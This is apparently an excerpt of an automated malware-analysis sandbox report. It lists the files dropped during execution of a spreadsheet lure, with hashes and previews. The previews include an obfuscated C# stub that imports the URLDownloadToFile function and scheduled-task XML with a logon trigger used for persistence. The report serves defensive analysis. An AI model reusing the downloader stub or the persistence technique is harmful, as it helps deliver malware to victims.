SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\53o4551w.x5q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\5dlmlx1m.vsq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\PORTS SITUATION BULK CARRIERS.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	24052
Entropy (8bit):	7.652425367216495
Encrypted:	false
SSDEEP:	384:EaNYaTXe5BPJ2cpRYnyAt3TtsVaWtmGJA8+6qdPGlDLRoucPQFVJG:Ea6aje5BP7RMYt9h44wQFV4
MD5:	AE24ADB29E22854D176245019B60E937
SHA1:	28E9F74782AA0D138EE52E3191248F827BF27A1D
SHA-256:	5BF5C455288A0B5184B23744506939B604BF402E346AFAE18269BBE888412129
SHA-512:	10AE2624E874CBA663DA08AA0C0FEBE19421FD01F72D54957F22A028A58A33BD4078C6A9CCA7CDAB94FC59030894BEA018141E6920AF4E926155C7EE49B6507D
Malicious:	false
Preview:	PK..........!..B.....@.......[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................T.N.0..W.."o.....U.aAaY...`.5~...3....3(ME3.Dy..\|..W[...hch.y........V.z../E...Q..h..P\..,.w.....[....R...+lb.._..."~.k...5....1....`....t..Qu...{%O6..z._.j.J.Y....`>.......g..S.e.. .-3.. bc(.jy..5P.L?.g..u......{.%b..ZP.N..s........G....s..6....`o.N0.........\|.<FTM.=..k...7.N.4......p..sL(....@....N...,.s......C.Q........?........:.r...=;q.G....`..O...G.O.)..N...A...i.....o.......PK..........!...%S............_rels/.rels ...(.................................

C:\Users\user\AppData\Local\Temp\PORTS SITUATION BULK CARRIERS.xlsx:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Temp\RES37A5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Nov 20 06:56:43 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9873331651804085
Encrypted:	false
SSDEEP:	24:HVe9EurU8z4SdHZwKdNWI+ycuZhNpakSXPNnqSqd:crUMiKd41ulpa3FqSK
MD5:	FC26452EC282394A181D29F33ACFEE80
SHA1:	D9285273ED9FAFE656EEE56B98B721EC73EC7430
SHA-256:	AAC67BD2C00E4FF3177F24BE801BF260FB50392498CFDC643AFCE4560A0F22D9
SHA-512:	0C2295906B4D1A31B7FFC5E5A431501E231E15D8FC448F858EF69A3BA959599E22596FBD3002A7AEE61DC88B1456B551B0EB397BFF420B72D3706FD1B139A99A
Malicious:	false
Preview:	L...+.=g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP..................!.....O...............4.......C:\Users\user\AppData\Local\Temp\RES37A5.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...i.4.i.k.0.b.i.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RESB0AA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Wed Nov 20 06:57:14 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	4.000351085939844
Encrypted:	false
SSDEEP:	24:Hxke9E2UYGmdH9wKdNWI+ycuZhNQlgakSplFPNnqSqd:ys+Kd41ulwga3LfqSK
MD5:	EE1812B0038CEC23B728DEDE2C53289C
SHA1:	2EE43AE1B8F407AD89F8BEB939DBE2A9AC3CFA58
SHA-256:	DDE57C762C2206AF2F11E011364C4438094FDEF2C9AC9919E2D01D4660B016ED
SHA-512:	77DF995752F4B5A5FA8AC72EC22D233D3864F00A157ABEC4620CC0B2C6BDDA659ACE7C67D77664E0220E6FBBCA7668CC624C2D379CD93FCE660335DE06DA32B6
Malicious:	false
Preview:	L...J.=g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP................J&.........W..........4.......C:\Users\user\AppData\Local\Temp\RESB0AA.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...z.p.w.v.v.p.v.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\c2d4zi2l.bv3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\cdwye0yl.4lp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\fb0memo4.k4k.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\fc3stk3r.wb1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\fcvcdj1d.wrn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.069001916388609
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grybak7YnqqXPN5Dlq5J:+RI+ycuZhNpakSXPNnqX
MD5:	EF02218BC8B387D1D94F1AEAC393C2F2
SHA1:	98C48B3169B4B9DF113639A7D43F291E5DC24C7D
SHA-256:	9AB05741A14B35590044F3DA9DDABBD1C34BFFF49EA010F742069D4C11DB3CF1
SHA-512:	2909E2C49DD7605D95A2F70F6A963AF8CFB8F221BF717516BB6BB85E7413F3946125882C03BF15299F62DB8633F71434E30273AC92616032BA8C617FFDBF3793
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...i.4.i.k.0.b.i.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...i.4.i.k.0.b.i.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (372)
Category:	dropped
Size (bytes):	484
Entropy (8bit):	3.8560947564999073
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zu9l3NPMGHvQXReKJ8SRHy4HXQrBSOscVdmevvIy:V/DTLDfuhAXfHDQjmeYy
MD5:	FE82050659A8B97690D60529499222C1
SHA1:	7CC50135852B46DD1E36F2FF98506613DB525A68
SHA-256:	64C38563C4588B718B03AEC685677F173456D3C961EF97CD95E7784EE1E51A6A
SHA-512:	59356FD5CBB38A06BF09E182B8ED7C7C2200E6F8DE8E950BE38BEE0C45AA96B2DBF202BDC56097A74ACC4E0A8BC601558E83C098A376630CFA1BCCE64133D64F
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace WPfW.{. public class dXGM. {. [DllImport("urlmON", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr ZPntVsRhAh,string MyjpqIkQwDb,string ujQQpSXoIWy,uint M,IntPtr aYypvlykpe);.. }..}.

C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.21731285206851
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23f8mnJUzxs7+AEszIP23f8m99:p37Lvkmb6KzUVWZEoUm9
MD5:	B59FB14C6A5755BC87DC8767D179D21E
SHA1:	0F1EEAD7BB6EC4EE979C95A17AFF98D57C2128CF
SHA-256:	9E2F7B369F686CB62E14ACF7FFFDCBADB4C99DDF98DE3AAAA6D224EF16EBDF5E
SHA-512:	569AC12F950AC9D291C0C563CF0106233DB45488985F6172F23A03D43828F7B458895B5FB24A6EA5029A65EC6AC6FD8B0BFDFB67ACC091FB50041A5AC368A1C7
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.0.cs"

C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8459875563298698
Encrypted:	false
SSDEEP:	24:etGSjPBG5eAdF8qdd/ka5AYy/oTqtkZf6m8NMEWI+ycuZhNpakSXPNnq:6EsAdeqZguJpsMn1ulpa3Fq
MD5:	0E37B0F7E7060B37BB2F879D7D03172A
SHA1:	E92CD4BE97D6034B15FB93CDE310723FEE9A9013
SHA-256:	2BB13F33F680D74E00B19953D109499F4677A6BC25E709A8FC8F69E98BB31F9E
SHA-512:	6263D0E3D28293FB64B16611C2E57F5157491108E19467BEE572D7A5152E60A14405ABB0088035223D0808EA2F8932B1B413FC635E464DFBBD19762EB9486DA1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...+.=g...........!.................#... ...@....... ....................................@.................................`#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~...... ...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1....................................................... 8.....P ......J.........P.....[.....g.....s.....u...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.i4

C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.320121512288153
Encrypted:	false
SSDEEP:	24:AId3ka6KzU6EoUm4KaMD5DqBVKVrdFAMBJTH:Akka60U6EoUFKdDcVKdBJj
MD5:	12AAB5BCCA39273130E3468C272765DB
SHA1:	973DDA98D1527879F0EC0C219673BCFDB228A5CF
SHA-256:	9D6D5DD1A51F459DFC73F2F9D8F9AC3DCD317C6E1144351DF4B93670D90F6D55
SHA-512:	4A3B5C416B27D1ABEF9A0C8C56499E1DCE64E3A4B3FFF764AB121AD43CACCB65DCA125610607E3B30F5905FABA414D94DA6202BAEDD2562174E73AAE94CDE15C
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\jpbm12t2.u2x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\jx4thbox.b5z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\k2ueiyvl.ktr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\kiv1dtcn.j4h.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\mnwb31g4.t0h.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmp1F44.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\caspol.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	5.115370849452323
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtiNLxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTirv
MD5:	E058C7784A46B7B4C0F0C61CC4447BD0
SHA1:	AB5E4BF42CA677CB6B17B546A7FFAEF8CA48FE18
SHA-256:	AF631C42EE8C5A0CDB32DBB7658BBBE0A50324E81740669C9A30323D0B35A7D9
SHA-512:	402736C9A8FDA2732FD8004F9BCEE8543A6F2A5513D263271DE399B05C7B08AAEE914DD964F4FE58D7D4DACBE50BC8281224DDF9A95421C6E256E87335CCF75E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\caspol.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	5.115370849452323
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtiNLxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTirv
MD5:	E058C7784A46B7B4C0F0C61CC4447BD0
SHA1:	AB5E4BF42CA677CB6B17B546A7FFAEF8CA48FE18
SHA-256:	AF631C42EE8C5A0CDB32DBB7658BBBE0A50324E81740669C9A30323D0B35A7D9
SHA-512:	402736C9A8FDA2732FD8004F9BCEE8543A6F2A5513D263271DE399B05C7B08AAEE914DD964F4FE58D7D4DACBE50BC8281224DDF9A95421C6E256E87335CCF75E
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpDCB9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	5.115370849452323
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtiNLxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTirv
MD5:	E058C7784A46B7B4C0F0C61CC4447BD0
SHA1:	AB5E4BF42CA677CB6B17B546A7FFAEF8CA48FE18
SHA-256:	AF631C42EE8C5A0CDB32DBB7658BBBE0A50324E81740669C9A30323D0B35A7D9
SHA-512:	402736C9A8FDA2732FD8004F9BCEE8543A6F2A5513D263271DE399B05C7B08AAEE914DD964F4FE58D7D4DACBE50BC8281224DDF9A95421C6E256E87335CCF75E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\txysfggx.pwo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\z3hjfgw1.zmc.ps1

Download File

